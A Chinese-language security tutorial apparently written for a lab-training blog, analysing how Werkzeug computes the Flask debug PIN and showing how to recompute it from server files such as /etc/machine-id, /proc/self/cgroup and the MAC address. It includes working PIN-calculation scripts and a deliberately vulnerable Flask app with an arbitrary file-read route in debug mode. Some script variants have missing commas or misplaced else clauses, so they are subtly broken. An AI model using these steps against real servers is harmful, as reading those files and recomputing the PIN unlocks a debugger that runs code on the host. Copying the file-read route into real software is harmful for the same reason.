深入浅出Flask PIN

最近搞SSTI，发现有的开发开了debug，由此想到了PIN，但一直没有对这个点做一个深入剖析，今天就完整的整理Flask Debug PIN码的生成原理与安全问题。
PIN是什么？

PIN是 Werkzeug（它是 Flask 的依赖项之一）提供的额外安全措施，以防止在不知道 PIN 的情况下访问调试器。 您可以使用浏览器中的调试器引脚来启动交互式调试器。
请注意，无论如何，您都不应该在生产环境中使用调试模式，因为错误的堆栈跟踪可能会揭示代码的多个方面。
调试器 PIN 只是一个附加的安全层，以防您无意中在生产应用程序中打开调试模式，从而使攻击者难以访问调试器。
——来自StackOverFlow回答

werkzeug不同版本以及python不同版本都会影响PIN码的生成
但是PIN码并不是随机生成，当我们重复运行同一程序时，生成的PIN一样，PIN码生成满足一定的生成算法
探寻PIN码生成算法

笔者环境

• Python 3.10.2
  
• Flask 2.0.3
  
• PyCharm 2021.3.3 (Professional Edition)
  
• Windows 10 专业版 21H2
  
• Docker Desktop 4.7.0
  

先写一个简单的Flask测试程序

1. from flask import Flask
2. app = Flask(__name__)
3. ​
4. ​
5. @app.route("/")
6. def hello():
7.     return '合天网安实验室-实践型网络安全在线学习平台；真实环境，在线实操学网络安全。'
8. ​
9. ​
10. if __name__ == "__main__":
11.     app.run(host="0.0.0.0", port=8080, debug=True)

复制代码

1. 运行，控制台状态如下

复制代码

[img=720,279.2009400705053]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_1.png[/img]
浏览器如下则成功
[img=720,183.0193548387097]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_2.png[/img]
接下来开始调试程序，顺藤摸瓜找到生成PIN码的函数
PIN码是werkzeug的策略，先找到flask中导入werkzeug的部分
 
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调试

在run.app行下断点，点击调试
[img=720,454.593572778828]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_3.png[/img]
点击步入
[img=720,520.9756097560976]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_4.png[/img]
转到了flask/app.py，直接Ctrl+F搜索werkzeug
[img=720,249.48616600790513]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_5.png[/img]
发现程序从werkzeug导入了run_simple模块，而且try部分有run app的参数
我们直接按住ctrl点击run_simple进去看看
此时进入了seving.py，找到了负责Debug的部分，PIN码是在debug状态下才有的，那这个部分很有可能存有PIN码生成部分，进去看看
[img=720,236.34232121922625]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_6.png[/img]
此时进入了__init__.py，经过一番审计，先来看一看pin函数
[img=720,174.59783913565425]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_7.png[/img]
主要是get_pin_and_cookie_name函数，进去看看

1. def get_pin_and_cookie_name(
2.     app: "WSGIApplication",
3. ) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
4.     """Given an application object this returns a semi-stable 9 digit pin
5.     code and a random key.  The hope is that this is stable between
6.     restarts to not make debugging particularly frustrating.  If the pin
7.     was forcefully disabled this returns `None`.
8. ​
9.     Second item in the resulting tuple is the cookie name for remembering.
10.     """
11.     pin = os.environ.get("WERKZEUG_DEBUG_PIN")
12.     rv = None
13.     num = None
14. ​
15.     # Pin was explicitly disabled
16.     if pin == "off":
17.         return None, None
18. ​
19.     # Pin was provided explicitly
20.     if pin is not None and pin.replace("-", "").isdigit():
21.         # If there are separators in the pin, return it directly
22.         if "-" in pin:
23.             rv = pin
24.         else:
25.             num = pin
26. ​
27.     modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
28.     username: t.Optional[str]
29. ​
30.     try:
31.         # getuser imports the pwd module, which does not exist in Google
32.         # App Engine. It may also raise a KeyError if the UID does not
33.         # have a username, such as in Docker.
34.         username = getpass.getuser()
35.     except (ImportError, KeyError):
36.         username = None
37. ​
38.     mod = sys.modules.get(modname)
39. ​
40.     # This information only exists to make the cookie unique on the
41.     # computer, not as a security feature.
42.     probably_public_bits = [
43.         username,
44.         modname,
45.         getattr(app, "__name__", type(app).__name__),
46.         getattr(mod, "__file__", None),
47.     ]
48. ​
49.     # This information is here to make it harder for an attacker to
50.     # guess the cookie name.  They are unlikely to be contained anywhere
51.     # within the unauthenticated debug page.
52.     private_bits = [str(uuid.getnode()), get_machine_id()]
53. ​
54.     h = hashlib.sha1()
55.     for bit in chain(probably_public_bits, private_bits):
56.         if not bit:
57.             continue
58.         if isinstance(bit, str):
59.             bit = bit.encode("utf-8")
60.         h.update(bit)
61.     h.update(b"cookiesalt")
62. ​
63.     cookie_name = f"__wzd{h.hexdigest()[:20]}"
64. ​
65.     # If we need to generate a pin we salt it a bit more so that we don't
66.     # end up with the same value and generate out 9 digits
67.     if num is None:
68.         h.update(b"pinsalt")
69.         num = f"{int(h.hexdigest(), 16):09d}"[:9]
70. ​
71.     # Format the pincode in groups of digits for easier remembering if
72.     # we don't have a result yet.
73.     if rv is None:
74.         for group_size in 5, 4, 3:
75.             if len(num) % group_size == 0:
76.                 rv = "-".join(
77.                     num[x : x + group_size].rjust(group_size, "0")
78.                     for x in range(0, len(num), group_size)
79.                 )
80.                 break
81.         else:
82.             rv = num
83. ​
84.     return rv, cookie_name

复制代码

 
返回的rv就是PIN码，但这个函数核心是将列表里的值hash，我们不需要去读懂这段代码，只需要将列表里的值填上直接运行代码就行。
生成要素：

username

通过getpass.getuser()读取，通过文件读取/etc/passwd
modname

通过getattr(mod,“file”,None)读取，默认值为flask.app
appname

通过getattr(app,“name”,type(app).name)读取，默认值为Flask
moddir

当前网络的mac地址的十进制数，通过getattr(mod,“file”,None)读取实际应用中通过报错读取
uuidnode

通过uuid.getnode()读取，通过文件/sys/class/net/eth0/address得到16进制结果，转化为10进制进行计算
machine_id

每一个机器都会有自已唯一的id，machine_id由三个合并(docker就后两个)：1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup

当这6个值我们可以获取到时，就可以推算出生成的PIN码
生成算法

修改一下就是PIN生成算法

1. import hashlib
2. from itertools import chain
3. ​
4. probably_public_bits = [
5.     'root',  # username
6.     'flask.app',  # modname
7.     'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
8.     '/usr/local/lib/python3.7/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
9. ]
10. ​
11. # This information is here to make it harder for an attacker to
12. # guess the cookie name.  They are unlikely to be contained anywhere
13. # within the unauthenticated debug page.
14. private_bits = [
15.     '2485377957890',  # str(uuid.getnode()),  /sys/class/net/ens33/address
16.     # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
17.     '861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b'
18. ]
19. ​
20. h = hashlib.sha1()
21. for bit in chain(probably_public_bits, private_bits):
22.     if not bit:
23.         continue
24.     if isinstance(bit, str):
25.         bit = bit.encode("utf-8")
26.     h.update(bit)
27. h.update(b"cookiesalt")
28. ​
29. cookie_name = f"__wzd{h.hexdigest()[:20]}"
30. ​
31. # If we need to generate a pin we salt it a bit more so that we don't
32. # end up with the same value and generate out 9 digits
33. num = None
34. if num is None:
35.     h.update(b"pinsalt")
36.     num = f"{int(h.hexdigest(), 16):09d}"[:9]
37. ​
38. # Format the pincode in groups of digits for easier remembering if
39. # we don't have a result yet.
40. rv = None
41. if rv is None:
42.     for group_size in 5, 4, 3:
43.         if len(num) % group_size == 0:
44.             rv = "-".join(
45.                 num[x: x + group_size].rjust(group_size, "0")
46.                 for x in range(0, len(num), group_size)
47.             )
48.             break
49.     else:
50.         rv = num
51. ​
52. print(rv)

复制代码

 
然后这里还有一个点，python不同版本的算法区别
不同版本算法区别

3.6采用MD5加密，3.8采用sha1加密，所以脚本有所不同
3.6 MD5

1. #MD5
2. import hashlib
3. from itertools import chain
4. probably_public_bits = [
5.      'flaskweb'
6.      'flask.app',
7.      'Flask',
8.      '/usr/local/lib/python3.7/site-packages/flask/app.py'
9. ]
10. ​
11. private_bits = [
12.      '25214234362297',
13.      '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
14. ]
15. ​
16. h = hashlib.md5()
17. for bit in chain(probably_public_bits, private_bits):
18.     if not bit:
19.         continue
20.     if isinstance(bit, str):
21.         bit = bit.encode('utf-8')
22.     h.update(bit)
23. h.update(b'cookiesalt')
24. ​
25. cookie_name = '__wzd' + h.hexdigest()[:20]
26. ​
27. num = None
28. if num is None:
29.    h.update(b'pinsalt')
30.    num = ('%09d' % int(h.hexdigest(), 16))[:9]
31. ​
32. rv =None
33. if rv is None:
34.    for group_size in 5, 4, 3:
35.        if len(num) % group_size == 0:
36.           rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
37.                       for x in range(0, len(num), group_size))
38.           break
39.        else:
40.           rv = num
41. ​
42. print(rv)

复制代码

 
3.8 SHA1

1. #sha1
2. import hashlib
3. from itertools import chain
4. probably_public_bits = [
5.     'root'
6.     'flask.app',
7.     'Flask',
8.     '/usr/local/lib/python3.8/site-packages/flask/app.py'
9. ]
10. ​
11. private_bits = [
12.     '2485377581187',
13.     '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'
14. ]
15. ​
16. h = hashlib.sha1()
17. for bit in chain(probably_public_bits, private_bits):
18.     if not bit:
19.         continue
20.     if isinstance(bit, str):
21.         bit = bit.encode('utf-8')
22.     h.update(bit)
23. h.update(b'cookiesalt')
24. ​
25. cookie_name = '__wzd' + h.hexdigest()[:20]
26. ​
27. num = None
28. if num is None:
29.     h.update(b'pinsalt')
30.     num = ('%09d' % int(h.hexdigest(), 16))[:9]
31. ​
32. rv =None
33. if rv is None:
34.     for group_size in 5, 4, 3:
35.         if len(num) % group_size == 0:
36.             rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
37.                           for x in range(0, len(num), group_size))
38.             break
39.     else:
40.         rv = num
41. ​
42. print(rv)

复制代码

 
其实最稳妥的方法就是自己调试，把自己版本的生成PIN部分提取出来，把num和rv改成None，直接print rv就行
docker测试

本地docker在Windows上
我们将上面的测试代码修改为下，加入文件读取功能，并且return 0当我们传值错误可出发debug模式

1. from flask import Flask, request
2. app = Flask(__name__)
3. ​
4. ​
5. @app.route("/")
6. def hello():
7.     return '合天网安实验室-实践型网络安全在线学习平台；真实环境，在线实操学网络安全。'
8. ​
9. ​
10. @app.route("/file")
11. def file():
12.     filename = request.args.get('filename')
13.     try:
14.         with open(filename, 'r') as f:
15.             return f.read()
16.     except:
17.         return 0
18. ​
19. ​
20. if __name__ == "__main__":
21.     app.run(host="0.0.0.0", port=9000, debug=True)

复制代码

 
回到我们的环境，模块路径通过传入错误文件名触发报错可得到，主要就是machine-id，其他部分直接出的就不用看了，docker环境只需要后俩

[img=720,218.1067125645439]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_9.png[/img]
拼接起来，代入程序，直接运行

与环境里的一致
[img=720,233.28]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_11.png[/img]
如果大家嫌开环境麻烦这里推荐两个线上靶场，这俩都是计算PIN

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